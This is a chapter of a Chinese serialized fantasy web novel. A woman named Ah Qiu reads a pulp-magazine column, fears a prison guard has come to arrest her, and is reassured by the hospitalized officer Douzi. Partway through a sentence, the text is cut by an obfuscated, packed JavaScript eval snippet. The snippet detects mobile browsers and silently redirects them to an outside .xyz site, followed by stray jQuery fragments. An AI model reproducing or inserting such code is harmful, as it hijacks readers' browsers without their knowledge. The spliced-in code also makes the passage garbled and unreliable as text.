钻石右手横空出世!豆子看都不用看就精准抽出了一本低俗杂志,就连阿邱都没注意到这玩意儿夹带进来了,当场吓晕,在准退休演员舔舐颈动脉的场景闪回中赶忙抢过来——开玩笑,伤员看得了这个?也太活血化瘀了!该化的大淤都让那位大拿化掉了,就算还剩一对黑眼圈,一本低俗杂志对它们来说也是太过刚猛了,药效溢出反受其害,本来就欠人家的,可不能让人当场血崩啊!所以她涨红了脸也坚决要没收。
为防豆子警官惦记,阿邱把杂志塞到披肩底下,搬着凳子退到两个床位外,远远看他无奈地——看见没他还真无奈了,未雨绸缪是对的吧——重新拣出一本自然科学杂志,这才放下心来,侧过身,翻开杂志自己开始看。
这本杂志是同一子类卖的最好的品牌之一,幸运的是,翻翻目录,她最喜欢的专栏作者Dr.D.P又有新作刊登啦!
说起Dr.D.P,这位不知性别的老师也是位神人,业界无人不知其名,可是谁都没见过ta的真容;主要成就是在低俗杂志这个峰与谷与老痰的全男行业中,仅靠一己之力开辟了一块女性向领域,最擅长的写作题材是……委婉地说,“阿瑞斯杯选手试用报告”。
过去的低俗杂志固定受众只对女“老师”的风采赋予期待,可自从Dr.D.P入场,封面上便胆大包天地出现了与知名选手强相关、匿了名等于没匿的总结性特征,杂志销量一夜暴增,铺天盖地的骂声和真金白银一起袭来,据说还凭此救活了一个濒临倒闭的工作室——多亏老板力排众议刊登了Dr.D.P的第一篇稿件,小爆过一回,又很有前瞻性地跟ta谈下了所有作品首发权,渐渐地开了专栏、升了头版、出版了集录,终成一段互相成就的佳话。只是在那段爬坡期损失了一些原始读者——会在打牌、喝酒路上踢碎投币木箱、顺走杂志的那种;办公室大门还被抹了整整一年的狗屎——什么品种的狗一整年都这么通畅啊;中间还有Dr.D.P用枪手、剽窃他人稿件等谣言,带来了一定范围的地震——造谣者也不想想低俗杂志业的整体生态是怎样的,收到其他老牌工作室的法院传票后就销声匿迹了。
事实证明,只有把大盘转向粉丝经济,生意才能蒸蒸日上。阿邱当然不信Dr.D.P笔下的每个故事都是真的,又不是没上过女囚们的生理课,武力才不决定尺寸,再说Dr.D.P都出版两本作品集了,世上哪来那么多16以上的……但ta从来只说选手的好话,这也可以理解啦,否则——想想那些疯狂的粉丝吧,惹急了他们,真实身份被扒出、专栏跟着消失,将来谁还写官能小文章给女生看啊?Dr.D.P于是始终很谨慎,有个方法是偶尔也穿插着打点野食吃,避免可着阿瑞斯杯选手一个群体薅。
就比如今天这篇专栏的主人公,代称“长官”,Dr.D.P与他萍水相逢在车站,他很高、很瘦,是位高权重的公职人员,笑容却平易近人,但眼里是三分的不屑七分的冰冷;身上带了制式的迂腐,年纪却很轻,嘴唇比花瓣还软嫩。兄弟姐妹们,如果你以为这是个书呆子类型的,那你就大错特错了!上手约一回才知道,这小子表里不一啊!初见时夸赞了Dr.D.P的眼睛,为之联想到一个气氛很好的地点,马不停蹄奔赴过去,已经很有sense了对吧?反差感也动人心魄!点完酒水后,他忽然眉头一皱,切回工作模式:就在他和笔者谈笑风生时,有不轨之徒在暗处穿行,为了不破坏约会的气氛,他自信满满、好整以暇,把难题留给“五点左右会过来”的同僚们,一把抓住笔者的手腕,迈着燃油大概率是酒神酒的长腿换了地方。
哎哟,光是文字描述怎么够,Dr.D.P已被这个龟裂系美男帅晕咯!什么叫“龟裂系”?第一次看到这个词的兄弟姐妹先不要困惑,有些人非但能用魅力掩盖病症,当光芒足够强大时,病症反而还会成为他特殊的魅力点。
……
看到这一句,阿邱“耶嘿嘿”的笑容僵在了唇边。
迂腐、软嫩,还长官……龟裂系美男……龟裂系……
不是吧?!
Dr.D.P常常美化,但从不写空话;配得上这个名号的,整个洱鸾大陆不是只有一个人吗!!
————
————
放下杂志,豆子眼看着邱小姐在病房里转来转去,裙摆上下翻飞,运动轨迹的复杂程度堪比被喷了杀虫剂的大扑棱蛾子。
怎么看个低俗杂志还把她看焦虑了?
发现豆子也在跟着她转头,邱小姐猛一刹车,慌里慌张地解释:“没、没事的,我只是突然想起人到了二十五岁就会停止分泌一种激素……对,我是在年龄焦虑!”
她是真的很不擅长撒谎。豆子没拆穿,顺着她说:“这不是还有五年吗,趁这五年把想做的事都做完就是了。”
邱小姐点头如捣蒜:“对对对,谢谢你缓解我的焦虑。”
她回到两张床外的凳子上捡回披肩,往身上披的时候力度太大,被自己扇了一耳光:“罗宾警官你保重,祝你早日康复,我有事先走了……”
豆子指了指杂志和出生没满一天的文件小冰山:“你落东西了。”
邱小姐颤抖的双手已经握在门把手上了:“什么?哦哦,送给你生炉子吧……”
豆子比划了一下秘技·杂志之耳光,想想这个距离可能会导致出血,便只是沉声道:“就算你现在空着手从医院跑路,通往外界的车站从昨天起都加强了警戒,你害怕的那个人一样会追上你。”
邱小姐一蹦三尺高:“你你你你怎么知道的?读心术?读心术?!”
“没错,就是塔尔塔洛斯的臭狱警。”一分钟后,她挂着一滴泪,坐在床边老实交代了,“他怎么会来这里的?谁——谁派他来的?我知道我现在逃跑就是浪费了这段时间的努力,但如果他真是来抓我的,我就一点办法都没有了……真会挑时候啊王八蛋白癜风!没有说所有白癜风患者都是王八蛋的意思……”
豆子叹口气:“塔尔塔洛斯近期发布了你的通缉令吗?”
“好像没有……”
“希孚里亚市政厅给你出具过刑满释放证明吗?”
邱小姐迅速从胸口摸出黑卡:“有啊,就是它了!”
“这几天你收到过撤回通行证的官方文件吗?”
“那是什么?我从没见过——”
“那就不是来抓你的。”豆子抖了抖大开本的自然杂志,气定神闲得仿佛一个最小的重孙都考上了大学院的退休干部。
这三项证据个个都称得上铿锵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123745|179075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有力,阿邱恢复了一些理智,但双腿还在打抖:“你你、你说他来旧矿山镇是想干嘛?”
“看比赛呗,还能是什么。”
阿邱一遍一遍地怀疑:“顺手逮捕我一下?果然他就是来逮我的……”
豆子一遍一遍地重复:“你不犯事就不会被逮捕。”
阿邱一听,急忙抢走豆子手上的杂志,跟文件小冰山一并打包起来,哆哆嗦嗦地给这块即将撑破的布打结:“我现在就还回去!”
她想了想,有点可怜地说:“罗宾警官,我可不可以支个小床在你病房里住下来?我上午在工作,下午在陪护,一直到晚上都抽不开身,他总不能闯进医院来抓我吧?”
“可以啊,你不嫌吵的话。”
他这么一说,阿邱忽然想起她的初心就是要早日从医院救出豆子,自己也搬进来了算什么事?于是否决了这个提案。
真想挖个地堡躲一躲啊……
或者把豆子警官抬回淡猫俱乐部、镇在她的房间里?要是野狼来了,阿邱也不知道行走都困难的豆子能起到一个什么作用,但她确实需要一个人反复向她保证:“没有人会来逮捕你的。”
这主意不错,既不损人又利了己,问题是怎么向他提?阿邱眼里转着两盘蚊香,听豆子对谁说了句“随便坐吧”,浑浑噩噩地抬头一看,原来是第二位探病者到场了。
露娜放下果篮和罐头,瞥一眼混沌态的阿邱,问豆子:“你怎么样?”
阿邱一瞬间清醒过来。暧昧期的孤男寡女共处一室,她才不要当那个多余的人,“刷”地站起身,抱着那包东西就要开溜:“我先告辞了!”
她想好了,她从今天开始要抱着一把菜刀睡觉,等豆子出院了,她就把床和小鸭子搬到终止式的指挥所,厨房也行……
“站住……咳。”豆子从三个枕头上艰难地支起身:“游医队的奥菲特女士跟我问起你。”
阿邱又是一个急刹车:“问我?”
豆子看了眼自己的胸口,阿邱立即看懂了他的暗示,比紧张还要紧张:“……你怎么跟她说的?”
“我说我本来也没伤得那么夸张。”
走出医院时阿邱还在想,豆子特地把这件事说出来,是为了得到她的感谢吗?照理讲,从始至终就只有阿邱一个人抱有阴暗的想法,今天阳光很明媚,外部世界也应该统一起来,所以没有这种可能……
镇医院广场,干涸的喷泉边,妮莎快活地踢着一只崭新的皮球,阿蒂提坐在长椅上看着她,脸上挂着难得的笑容。
姐俩现在都能出来活动啦?看到这一幕的阿邱心里很高兴,可她实在没脸再见阿蒂提,便躲到一棵树下偷偷看她们。
这时有个中等身材的男人走上去,用手接下妮莎的球,冲她笑笑,又抛远了。妮莎撒开腿,像精力旺盛的小狗一样追了上去,那男人看着小女孩跑远,一回头,走向了长椅上的大女孩。
阿蒂提跟那男人聊了几句,两人看起来心情都不错。阿邱一手抱文件、一手扶树干,死死地盯着他们——并不是在吃干醋,她只是越看越觉得那男人眼熟。
等妮莎捡回球扑到姐姐身上,她猛地回忆起来:对了,前几天才在咯吱作响的长廊上见过的——那人不是加百列的助手嘛!